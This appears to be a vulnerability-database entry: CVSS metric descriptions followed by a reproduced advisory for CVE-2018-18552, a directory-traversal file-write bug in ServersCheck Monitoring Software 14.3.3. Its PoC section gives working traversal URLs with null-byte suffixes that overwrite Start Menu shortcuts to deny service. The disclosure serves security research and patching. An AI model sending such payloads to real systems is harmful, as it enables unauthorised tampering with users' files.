The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
None
C
There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: ServersCheck Monitoring Software 14.3.3 Arbitrary File Write / DoS
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/CVE-2018-18552-SERVERSCHECK-MONITORING-SOFTWARE-ARBITRARY-FILE-WRITE-DOS.txt
[+] ISR: ApparitionSec
Greetz: ***Greetz: indoushka | Eduardo B.***
[Vendor]
www.serverscheck.com
[Product]
ServersCheck Monitoring Software - through 14.3.3
Software for monitoring your edge computing infrastructure, network & servers.
http://downloads.serverscheck.com/monitoring_software/setup.exe
File hash: b7bffe4fc83b6a4586c099d6c62d8eeb
[Vulnerability Type]
Abitrary File Write
[Affected Component]
"sensor_details.html" webpage the "id" parameter
[CVE Reference]
CVE-2018-18552
[Security Issue]
ServersCheck Monitoring Software allows remote attackers to cause a denial of service (menu functionality loss) by creating an LNK file that
points to a second LNK file, if this second LNK file is associated with a Start menu item. Ultimately, this behavior comes from a Directory Traversal bug
(via the sensor_details.html id parameter) that allows creating empty files in arbitrary directories.
[Impact]
Denial of Service
[References]
https://serverscheck.com/monitoring-software/release.asp
[Exploit/POC]
DOS Command Prompt .LNK under Start Menu change <VICTIM> to desired user.
http://127.0.0.1:1272/sensor_details.html?id=../../../../Users/<VICTIM>/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Accessories/Command%20Prompt.lnk%00
DOS Run .LNK under Start Menu
http://127.0.0.1:1272/sensor_details.html?id=../../../../Users/<VICTIM>/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Accessories/Run.lnk%00
DOS Internet Explorer .LNK from Start Menu
http://127.0.0.1:1272/sensor_details.html?id=../../../../Users/<VICTIM>/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Internet Explorer.LNK%00
Victim will get error message from server like "Error retrieving sensor details from database".
Then,
No Internet Explorer, Command or Run prompt via the Start/Programs/Accessories/ and Task Menu links. However, can still be launch by other means.
Tested successfully on Windows 7 OS
[Network Access]
Remote
[Severity]
High
[Disclosure Timeline]
Vendor Notification: October 6, 2018
Vendor acknowledgement: October 7, 2018
Vendor release v14.3.4 : October 7th, 2018
CVE assign by Mitre: October 21, 2018
October 22, 2018 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
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